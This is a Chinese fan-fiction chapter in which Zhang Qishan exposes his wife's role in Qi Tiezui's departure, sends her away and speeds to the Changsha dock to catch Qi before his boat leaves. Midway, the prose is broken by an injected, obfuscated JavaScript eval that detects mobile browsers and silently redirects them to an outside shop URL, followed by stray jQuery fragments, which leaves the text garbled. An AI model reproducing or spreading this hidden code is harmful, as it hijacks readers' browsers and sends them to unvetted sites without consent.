张启山在正厅的主位上坐下时，手还在微微发抖。
他撑着额头闭了几息眼，脑子里那些翻涌的怒意和焦急慢慢沉淀下来，露出底下更锋利的东西。怒火上头的时候他什么都顾不上想，可现在坐在这把椅子上，冷静一寸一寸地回来了，他开始把今早的事情串起来想。
齐铁嘴身上没钱。齐铁嘴出不了府。府里的亲兵是他张启山的人，他下过死命令谁也不能放八爷出门，那底下的人就没有胆子违抗。可齐铁嘴还是走了，走得干干净净，连个动静都没闹出来。
在这个府里，能越过他的命令把齐铁嘴弄出去的，除了他和三个副官，只有一个人。
张启山睁开眼，眼底那层混沌褪尽了，换上了一片沉沉的冷光。他敲了一下桌面，冲门口站着的下人道："去，请夫人过来。"
下人被他脸上的神色吓得一激灵，转身就跑，步子踉踉跄跄的。正厅外面的回廊上传来他一路小跑的脚步声，越来越远，往东跨院的方向去了。
张启山靠在椅背上，太阳穴突突地跳着。他抬手摁了摁，摁下去又跳起来，疼得他眉心拧成了一道深痕。他脑子里翻来覆去只有一个念头——齐铁嘴那个不省心的东西，等他找回来，他非得拿根绳子把他拴在床头不可。让他乱跑，让他搞那些偷偷摸摸的小动作，让他一声不吭地就从他的床上溜走了。
他正想着，廊下传来脚步声。尹新月跨进了正厅的门槛，今天穿了一件鸦青色的袄裙，头发挽得齐整，脸上的神色也算平静，可眼底那层东西张启山一眼就看穿了——她在害怕。
她走到张启山右手边的位置坐下，拢了拢裙摆，抬起头来看他。
"启山，你找我？"
张启山侧过身来面对着她。他看她的目光很平静，平静得有些过分了，像一潭结了冰的水，底下涌着什么都看不见。
"为什么？"
尹新月的手指在袖子里攥紧了，面上却还维持着笑："什么为什么？"
"齐铁嘴。"张启山的声音不高不低，"他没有做错什么。做错事的是我。我们之间的事我已经跟你谈过了——离婚，孩子你可以带走，姓氏也可以改了跟你姓，新月饭店的股份我分文不取，以后新月饭店我替你尹家撑腰。"
他每说一句，尹新月的脸色就白一分。
"你为什么还要让他走？"
尹新月攥紧了膝上的帕子，把目光移开了，盯着正厅地面上某一处砖缝："启山，你在说什么？谁走了？"
她一字一句说得清楚，脸上的表情管理得恰到好处。可她的指尖在帕子底下微微颤抖着，那个细节张启山看见了。
张启山正要开口，张小烬从外面快步走进来，身后还跟着一个穿着府里下人衣裳的年轻姑娘。那姑娘低着头，绞着手指，像是鼓了很大的勇气才跟着张小烬进了正厅。
张小烬走到厅中站定，冲张启山行了个礼，转头对那姑娘说："佛爷在这儿，你有什么话就说，不必怕。"
姑娘抿了抿嘴，抬起脸来——是个十四五岁的小丫头，花房的杂役，平日里专门侍弄那些花木盆景的。她的嗓音细细的，带着点抖，可话倒是说得清清楚楚。
"佛爷……我前几天在花房里侍弄花草，看见小鱼副官和八爷在亭子里喝茶。后来小鱼副官去添水了，夫……夫人就过来跟八爷说话了。"
尹新月的脸瞬间变了颜色。
小姑娘没看她，低着头继续往下说："我站的地方是个偏角，夫人没瞧见我。我听见夫人问八爷，说府里有一些风言风语八爷怎么看，又问八爷在外头还有没有亲戚，还说……说为了佛爷的脸面，八爷不应该继续住在府里。"
她说到这里顿了顿，鼓了鼓勇气又接上了："后来我今天早上干活的时候，又看见夫人带着八爷从东边的角门出去了。走的时候两个人一前一后，夫人走在前面，八爷跟在后面，他戴了顶旧草帽，我还看见他背了个包袱……"
厅里安静得能听见针落地的声音。
张启山闭了一下眼。
"新月，"他的嗓音低而沉，像是从胸腔深处压出来的，"你还有什么要说的？"
尹新月的嘴唇翕动了两下。她想说"那丫头胡说"，想说什么"八爷自己要走与我无关"，可话到嘴边她却一个字也说不出来了。张小烬站在旁边，她找帮她买的船票的底单还压在手里；花房的小丫头看见了她们在亭子里说话；今天早上她带着齐铁嘴从角门出去的时候虽然清了沿途的人，可她没想到自己清的是前院和正门方向的人，东角门那边她只安排了把人支走，没算到花房在后院，那个小丫头正好要出门去倒花土。
她的所有安排在这一刻全被拆穿了。
张启山站起身。他走到尹新月面前，居高临下地看着她。可他没有发火，声音甚至比刚才更平了些，像一把绷到极致的弓弦，再拉一分就要断了。
"你收拾一下。我今天让人送你和孩子回北平。"
尹新月猛地抬起头来："启山——"
"等我这边稳定了，"张启山打断她，"我会亲自去尹家跟你说清楚。你娘家的体面我给足，该说的我会当面跟尹老爷子说明白。可今天你必须走。"
"你不能这样！"尹新月的声音终于裂开了，眼泪从眼眶里滚出来，顺着脸颊淌下去，"我为了你一个人从北平跑到长沙来，给你生了三个孩子，你为了一个男人要把我送走？我做了什么？我只是让他离开你的府邸而已，我有什么错？他是你的谁？他什么都不是！"
她越说越激动，从椅子上站起来，攥着张启山的袖子："启山你看看我，我是你的妻子，你明媒正娶的妻子！齐铁嘴他算什么东西？一个寄人篱下的破算卦的，你为了他要休了我？"
张启山把袖子从她手里抽了出来，动作很轻，可那力道不容抗拒。他低头看着尹新月满脸的泪，看着她那双哭红了的眼睛，忽然开口说了一句："他是我的命。"
这5个字落下来，尹新月的声音戛然而止。
她张着嘴，眼泪还挂在睫毛上，可什么声音都发不出来了。她怔怔地看着张启山，看着他那双从未对她露出过柔光的眼睛，此刻提到齐铁嘴的名字时眼底翻涌着滚烫的炽热。
"来人。"张启山偏过头去，"替夫人收拾东西，即刻送夫人和孩子们回北平。安排最好的马车，一路护送，不得有误。"<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846609|211740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>两个婆子从门外进来，一人一边扶住了尹新月的胳膊。尹新月被她们架着往门口走，踉跄着回头看了张启山最后一眼，嘴唇哆嗦了半天，只挤出一句："你会后悔的……张启山，你会后悔的……"
张启山没有看她。
他站在正厅中央，背对着门口的方向，听见尹新月的哭声越来越远，最终消失在东跨院的月亮门那边。院子里传来收拾箱笼的嘈杂人声，然后是孩子被抱起来时咿咿呀呀的叫唤。张小烬在外面低声安排着车马人手，脚步声来来回回地响着。
张启山站在原地，闭着眼，太阳穴还在跳。他把手按在桌子上撑着自己，想着齐铁嘴现在在什么地方。是上了船还是没上船？是还在码头徘徊还是一只脚已经踏上了跳板？
"佛爷！"
张小鱼从外面冲进来。他跑得满头大汗，军装的领口全湿了，手里攥着一张皱巴巴的纸条，上气不接下气地站在厅门口。
"查到了！夫人在码头那边安排人买了今天下午两点的船票，往汉口去的。还从账上支了一笔钱，银元和纸币都有，给了八爷。"
两点的船。
张启山猛地看了一眼怀表——一点四十分。
他从正厅里冲出去的时候，袍角带翻了桌角上搁着的一只茶碗，白瓷砸在地砖上摔得粉碎，他看都没看一眼。张小鱼追在他身后跑，两人穿过院子时张小烬正在安排车马，看见张启山那副模样立刻跳上了驾驶位，发动机轰地一声响。
张启山钻进后座，车门砰地关上。他弯腰的时候手肘磕在车门框上，磕出了一道青痕也没察觉。他只是死死盯着前方的路，从牙缝里挤出一句："去码头。"
车子冲出了佛爷府的大门。车轮碾过青石板路的声音急促又沉重，像是有什么东西在追着时间跑。
张启山坐在后座上，双手攥着膝盖上的布料，指节泛白。他盯着车窗外飞速掠过的街景，脑子里的念头翻来覆去只有一个——你最好别上船。齐铁嘴，你最好还站在码头上等着。你要是敢上了那条船跑了，汉口那么大的地方，我上哪儿去找你？
他想起齐铁嘴那天醒来的时候，缩在被子底下只露出半张通红的脸，耳朵尖都在滴血。他想起齐铁嘴睡着的时候会把眉头皱起来，要伸手抚一抚才能展平。他想起那个桂花枝——临走前还插在他书桌的瓶子里，花苞都没来得及开。
你连桂花都没看它开就走了。
张启山把后脑勺抵在座椅靠背上，闭上了眼。
"开快点。"他说。嗓音哑得像砂纸磨过铁皮。"再快。"
张小烬把油门踩到了底。
车子在长沙城的街面上横冲直撞地穿行，行人纷纷躲避，摊贩掀翻了箩筐，可后座上的张启山浑然不觉。他只是一遍又一遍地在心里描摹着齐铁嘴的脸，那张他看了两年却一直没敢看透的脸。
快到码头了。
远处的湘江水面上已经能看见桅杆的尖顶，和人头攒动的码头轮廓。张启山撑起身子，手按在车窗玻璃上，目光死死地锁住前方那片人影里每一个穿青灰衣裳的身形。
"齐铁嘴，"他的嘴唇翕动着，声音低得只有自己能听见，"你等着。"